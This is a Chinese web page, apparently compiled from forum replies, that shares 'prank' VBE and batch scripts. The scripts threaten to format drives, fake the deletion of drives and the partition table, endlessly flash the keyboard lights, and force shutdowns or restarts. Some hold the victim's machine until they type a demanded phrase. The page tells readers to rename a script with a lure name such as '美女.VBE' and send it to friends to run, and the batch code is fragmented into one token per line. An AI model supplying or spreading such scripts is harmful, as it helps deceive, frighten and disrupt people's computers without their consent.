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谁有恶搞关机的vbe代码，拜托给发一个
on error resume next
DO
msgbox "嗨！！！！",64,"^_^"
msgbox "嗨！我是黑客",64,"ψ(╰_╯)"
msgbox "你是谁？为什么你家有这么多病毒？",64,"(∵)？"
msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "
msgbox "我来帮你杀毒~~~~",64,"^_^"
msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"
msgbox "还是；来捣乱吧",64,"^_^"
msgbox "首先接我的第一招~~",64,"V.S"
intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")
If intAnswer = vbYes Then
YONG=Msgbox ("很好那么请你让我知道，如果你不能让我知道你输，我将对所有硬盘进行格式化。嘿嘿！",vbYesNo,"^_^")
msgbox "抱歉 你不能出招...",64,"V.S"
If YONG = vbNo Then
msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"
msgbox chr(13) + chr(13) + chr(13) + "作者：周峻全"
DIM i
While(1)
For i=1 To 10
next
set WshShell=createObject("Wscript.Shell")
WshShell.SendKeys"{CAPSLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{SCROllLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{NUMLOCK}"
WSCRIPT.SLEEP 100
Wend
Else
End If
Else
set TUYONG=wscript.createobject("wscript.shell")
TUYONG.run ("shutdown -r -t 99999 -c 小样你输啦~~~哈哈，关机了！！！！"),,true
End If
LOOP
创建文本文档把后缀改成 .vbe 就好了
这是最贱的
求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
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in
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3,-1,0
)
do
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for
/l
%%a
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do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
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do
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set
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aa=nul
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aa=^nul
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nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
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do
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set
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aa=nul
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echo
删除完毕
echo.
echo
正在删除D盘所有文件...
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a="============================================================================
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aa=nul
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echo.
echo
正在删除C盘所有文件...
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a="============================================================================
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set
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aa=nul
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echo.
echo
正在删除分区表...
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a="============================================================================
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echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
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dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")